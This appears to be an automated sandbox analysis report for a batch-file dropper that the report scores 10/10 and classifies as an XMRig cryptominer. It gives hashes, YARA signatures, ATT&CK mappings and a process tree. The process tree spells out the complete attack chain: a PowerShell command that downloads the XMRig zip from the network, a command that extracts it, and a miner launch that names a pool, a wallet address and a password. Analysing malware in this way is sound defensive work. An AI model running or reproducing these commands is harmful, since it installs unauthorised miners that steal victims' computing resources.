xmrig | c0768ace239b9f133dfbb33d830ff9bf0580b167e2a6b0f015950f7aa2b1f768

max time kernel
616s
max time network
1789s
platform
windows10-1703_x64
resource
win10-20240404-en
resource tags

arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
submitted
20/05/2024, 17:09

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General

Target
5.bat
Size 599B
Sample240520-vpdapsag41
SHA256 f83d724987f9f4a0843c0b0abd01f3f5ceccbc8e7babad76c2639e1bef2fee07
MD5 798b979417aa88e5323ead9be2d8425c
SHA1 a54c5133c71afddf697f302b36bdb930c72852ce
SHA512 a4f2ff598bc26b5ee7778b34b34aafd20e43f714c5f841b9fe73cdc6e1c3e47e44ffb94ff06ccd7dd263116201ff6754c956c1ea8f588acf6927f35446b5036b
MD5 SHA1 SHA512

Score

10^/10

xmrig execution miner

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-msvc-win64.zip

Signatures

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral11/files/0x000700000001ac59-117.dat	family_xmrig
behavioral11/files/0x000700000001ac59-117.dat	xmrig

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Blocklisted process makes network request 2 IoCs

flow	pid	Process
2	3620	powershell.exe
4	3620	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
508	xmrig.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3620	powershell.exe
4660	powershell.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3620	powershell.exe
3620	powershell.exe
3620	powershell.exe
4660	powershell.exe
4660	powershell.exe
4660	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	3620	powershell.exe
Token: SeDebugPrivilege	4660	powershell.exe
Token: SeLockMemoryPrivilege	508	xmrig.exe
Token: SeLockMemoryPrivilege	508	xmrig.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
508	xmrig.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 4864 wrote to memory of 3620	4864	cmd.exe	75
PID 4864 wrote to memory of 3620	4864	cmd.exe	75
PID 4864 wrote to memory of 4660	4864	cmd.exe	76
PID 4864 wrote to memory of 4660	4864	cmd.exe	76
PID 4864 wrote to memory of 508	4864	cmd.exe	77
PID 4864 wrote to memory of 508	4864	cmd.exe	77

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\5.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4864
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-msvc-win64.zip', 'xmrig-6.21.3-msvc-win64.zip')"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3620
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'xmrig-6.21.3-msvc-win64.zip' -DestinationPath '.'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4660
- C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe
  xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  PID:508

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 c4089b4313f7b8b74956faa2c4e15b9ffb1d9e5e29ac7e00a20c48b8f7aef5e0
MD5 42d4b1d78e6e092af15c7aef34e5cf45
SHA1 6cf9d0e674430680f67260194d3185667a2bb77b
SHA512 d31f065208766eea61facc91b23babb4c94906fb564dc06d114cbbc4068516f94032c764c188bed492509010c5dbe61f096d3e986e0ae3e70a170a9986458930
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 08b91511c42b20c4bdf3c4cb413db26d8c53eef48969e54482baf7ab145463c2
MD5 7c6cbba599020044e7ba39bca5565e19
SHA1 2a98a0a922771a1e79a80ff2d22a3b30ebded877
SHA512 b48d3bbd012d6b7b1f06bc95639e9bf3df385b2fd330f5efb7843806026080328437ff5901f392bab223ca9d4f382317b2e2c9acf6eab4107fe32e5e1f267044
MD5 SHA1 SHA512

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__PSScriptPolicyTest_ycsszbfi.xfm.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ycsszbfi.xfm.ps1
Size 1B
SHA256 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
MD5 c4ca4238a0b923820dcc509a6f75849b
SHA1 356a192b7913b04c54574d18c28d46e6395428ab
SHA512 4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
MD5 SHA1 SHA512

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xmrig-6.21.3-msvc-win64.zip

Path C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3-msvc-win64.zip
Size 2.5MB
SHA256 713263085499ae626a6148fab67932c9a69611b21ac3d04cf52a5e23495f902e
MD5 cef0ae1ab544e40b659261a4e07fe48f
SHA1 e5ff855ce3c7726a50eb50a634ff9f406b3df093
SHA512 1fb23b385e6cff3653f0b4b397d092c7be4df62899c97e18f675df2024e5f06ef2596fb626b85ae2ef7d7583c5bf54b00dba1a5ad566c2707a669a48d9814ba8
SSDEEP 49152:rJxDbkXsjK43dt9au7odVFK+5akAC3UBGQhGQsdla3P2fpepBqYeu7evE1f3N:z/kIK4N3a3dTd5akKBGQhGQsdKP2fpe3
MD5 SHA1 SHA512 SSDEEP

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xmrig.exe

Path C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe
Size 6.1MB
SHA256 e199d88569fb54346d5fa20ee7b59b2ea6f16f4ecca3ea1e1c937b11aab7b2b0
MD5 c0f8959614ae06561216158d78a787e5
SHA1 73167d1fd0cee1c96a6505606d21cbfe4369eb00
SHA512 a24fcf344d08c64ac301d5e4979f062b5e28e8e4acf1d2790916149ffe7726b0c4a11e0775aeba6b841d2d5081e1bd13e2b80390bf9bfbc44d67e54ec07cd746
SSDEEP 98304:AwHlVzThdquIJ3mH6KfTSr2tJCkN3dOauqMAC2Taf43TZquOE2:fVz5CkN3dXuq9Taf4jLt2
MD5 SHA1 SHA512 SSDEEP

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memory/508-119-0x0000028121B00000-0x0000028121B20000-memory.dmp

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memory/3620-9-0x00000153BFFE0000-0x00000153C0056000-memory.dmp

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memory/3620-31-0x00007FFB1C1D0000-0x00007FFB1CBBC000-memory.dmp

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memory/3620-26-0x00007FFB1C1D0000-0x00007FFB1CBBC000-memory.dmp

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memory/3620-18-0x00007FFB1C1D0000-0x00007FFB1CBBC000-memory.dmp

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memory/3620-0-0x00007FFB1C1D3000-0x00007FFB1C1D4000-memory.dmp

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memory/3620-7-0x00007FFB1C1D0000-0x00007FFB1CBBC000-memory.dmp

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memory/3620-5-0x00000153BFE30000-0x00000153BFE52000-memory.dmp

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memory/4660-38-0x00007FFB1C1D0000-0x00007FFB1CBBC000-memory.dmp

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memory/4660-91-0x000001B170EA0000-0x000001B170EAA000-memory.dmp

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memory/4660-78-0x000001B170EC0000-0x000001B170ED2000-memory.dmp

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memory/4660-65-0x00007FFB1C1D0000-0x00007FFB1CBBC000-memory.dmp

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memory/4660-115-0x00007FFB1C1D0000-0x00007FFB1CBBC000-memory.dmp

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memory/4660-39-0x00007FFB1C1D0000-0x00007FFB1CBBC000-memory.dmp

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memory/4660-37-0x00007FFB1C1D0000-0x00007FFB1CBBC000-memory.dmp

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